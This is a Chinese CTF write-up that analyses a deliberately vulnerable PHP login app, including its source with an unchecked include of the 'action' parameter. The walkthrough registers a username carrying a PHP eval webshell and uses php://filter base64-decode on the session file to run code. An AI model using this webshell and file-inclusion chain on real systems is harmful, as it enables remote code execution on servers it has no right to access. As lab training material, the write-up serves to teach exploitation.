文件包含[一道CTF题]

php 复制代码
#config.php    --连接数据库
<?php
$dbhost = 'localhost';
$dbuser = 'root';
$dbpass = '11111';
$dbname = 'web';
#$dbport=3307;
 ?>
php 复制代码
#index.php
<?php
error_reporting(0);
session_start();
if (isset($_GET['action'])) {
    include $_GET['action'];
    exit();
} else {
?>
<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="utf-8">
    <title>Login</title>
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <link href="css/bootstrap.css" rel="stylesheet" media="screen">
    <link href="css/main.css" rel="stylesheet" media="screen">
</head>
<body>
<div class="container">
    <div class="form-signin">
        <?php if (isset($_SESSION['username'])) { ?>
            <?php echo "<div class=\"alert alert-success\">You have been <strong>successfully logged in</strong>.</div>
<a href=\"index.php?action=logout.php\" class=\"btn btn-default btn-lg btn-block\">Logout</a>";}else{ ?>
            <?php echo "<div class=\"alert alert-warning\">Please Login.</div>
<a href=\"index.php?action=login.php\" class=\"btn btn-default btn-lg btn-block\">Login</a>
<a href=\"index.php?action=register.php\" class=\"btn btn-default btn-lg btn-block\">Register</a>";
        } ?>
    </div>
</div>
</body>
</html>
<?php
}
?>
php 复制代码
#login.php ---观察login代码,发现存在预编译,无法进行sql注入
<?php
	require_once('config.php');
	session_start();
	if($_SESSION['username']) {
		header('Location: index.php');
		exit;
	}
	if($_POST['username'] && $_POST['password']) {
		$username = $_POST['username'];
		$password = md5($_POST['password']);
        $mysqli = @new mysqli($dbhost, $dbuser, $dbpass, $dbname);
        if ($mysqli->connect_errno) {
            die("could not connect to the database:\n" . $mysqli->connect_error);
        }
        $sql = "select password from user where username=?";
        $stmt = $mysqli->prepare($sql);
        $stmt->bind_param("s", $username);
        $stmt->bind_result($res_password);
        $stmt->execute();
        $stmt->fetch();
        if ($res_password == $password) {
            $_SESSION['username'] = base64_encode($username);
            header("location:index.php");
        } else {
            die("Invalid user name or password");
        }
        $stmt->close();
        $mysqli->close();
	}
	else {
?>
<!DOCTYPE html>
<html>
<head>
   <title>Login</title>
   <link href="static/bootstrap.min.css" rel="stylesheet">
   <script src="static/jquery.min.js"></script>
   <script src="static/bootstrap.min.js"></script>
</head>
<body>
	<div class="container" style="margin-top:100px">  
		<form action="login.php" method="post" class="well" style="width:220px;margin:0px auto;">
			<h3>Login</h3>
			<label>Username:</label>
			<input type="text" name="username" style="height:30px"class="span3"/>
			<label>Password:</label>
			<input type="password" name="password" style="height:30px" class="span3">
			<button type="submit" class="btn btn-primary">LOGIN</button>
		</form>
	</div>
</body>
</html>
<?php
	}
?>
php 复制代码
#register.php    ---注册页面,同时也存在预编译,无法注入
<?php
if ($_POST['username'] && $_POST['password']) {
    require_once('config.php');
    $username = $_POST['username'];
    $password = md5($_POST['password']);
    $mysqli = @new mysqli($dbhost, $dbuser, $dbpass, $dbname);
    if ($mysqli->connect_errno) {
        die("could not connect to the database:\n" . $mysqli->connect_error);
    }
    $mysqli->set_charset("utf8");
    $sql = "select * from user where username=?";
    $stmt = $mysqli->prepare($sql);
    $stmt->bind_param("s", $username);
    $stmt->bind_result($res_id, $res_username, $res_password);
    $stmt->execute();
    $stmt->store_result();
    $count = $stmt->num_rows();
    if($count) {
        die('User name Already Exists');
    } else {
        $sql = "insert into user(username, password) values(?,?)";
        $stmt = $mysqli->prepare($sql);
        $stmt->bind_param("ss", $username, $password);
        $stmt->execute();
        echo 'Register OK!<a href="index.php">Please Login</a>';
    }
    $stmt->close();
    $mysqli->close();
} else {
?>
<!DOCTYPE html>
<html>
<head>
   <title>Login</title>
   <link href="static/bootstrap.min.css" rel="stylesheet">
   <script src="static/jquery.min.js"></script>
   <script src="static/bootstrap.min.js"></script>
</head>
<body>
	<div class="container" style="margin-top:100px">  
		<form action="register.php" method="post" class="well" style="width:220px;margin:0px auto;">
			<h3>Register</h3>
			<label>Username:</label>
			<input type="text" name="username" style="height:30px"class="span3"/>
			<label>Password:</label>
			<input type="password" name="password" style="height:30px" class="span3">
			<button type="submit" class="btn btn-primary">REGISTER</button>
		</form>
	</div>
</body>
</html>
<?php
	}
?>

分析代码:

1、login.php文件中存在预编译,无法进行sql注入,对用户也没有限制

2、register.php文件中也存在预编译,无法进行sql注入,但是对注册用户没有限制

3、config.php是配置文件,不用考虑

4、index.php中存在后门如下,可知从action下手,action是由session控制的,因此从session下手

由此得知,因为register.php对注册用户,没有限制,其次,是将用户名以密文存储在数据库中

session_start();

if (isset($_GET['action'])) {

include $_GET['action'];

exit();

}

初始数据库:

先尝试注册

注册成功:

查看数据库

同时tmp文件夹中出现session文件

看到login.php中以下代码得知,使用base64编码,而了解到base64编码是8位一编码,因此是三个字符一解码,如果使用<?php phpinfo();?>的base64编码做用户名,使用php://filter伪协议来进行读取的话,前面的username|s:4:"达不到解码要求,因此选用增加位数,就比如这个4代表了base64编码位数,只要将这个编码达到个数达到三位数,即可解决这个先天约束

php 复制代码
 $_SESSION['username'] = base64_encode($username);

查看数据库是否成功创建用户

查看session,发现确实更改了

因为直接使用phpinfo不会直观的观察到结果,因此我将用户名更改成了

php 复制代码
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa<?php eval($_GET['lzy']);?>

直接使用php://filter伪协议

php 复制代码
http://127.0.0.1/lzy/ctf/index.php?action=php://filter/read=convert.base64-decode/resource=E:\get\phpstudy_pro\Extensions\tmp\tmp/sess_e5c9ju5lb2erj2m87v0vmplch4&lzy=phpinfo();
相关推荐
祁白_3 小时前
文件包含笔记整理
笔记·学习·安全·web安全
恃宠而骄的佩奇4 小时前
网络安全面试题——安全服务
web安全·网络安全·面试·奇安信
乾元4 小时前
当奥本海默遇到图灵:AI 开启的网络安全新纪元
服务器·网络·人工智能·网络协议·安全·web安全
lifejump13 小时前
Pikachu | XXE
服务器·web安全·网络安全·安全性测试
恃宠而骄的佩奇20 小时前
蚁剑 php一句话木马简单免杀(编码)绕过360,火绒
开发语言·web安全·php·免杀·一句话木马·火绒安全
m0_7381207221 小时前
渗透测试——y0usef靶机渗透提权详细过程(插件伪造请求头)
服务器·网络·web安全·ssh·php
独行soc1 天前
2026年渗透测试面试题总结-1(题目+回答)
android·开发语言·网络·安全·web安全·渗透测试·php
lingggggaaaa1 天前
安全工具篇&MIMikatz&提权EXP&非源码修改方式&PE转ShellCode&融入加载
学习·安全·web安全·免杀对抗
上海云盾-高防顾问1 天前
WAF规则自定义实战指南:精准防护零误判
爬虫·安全·web安全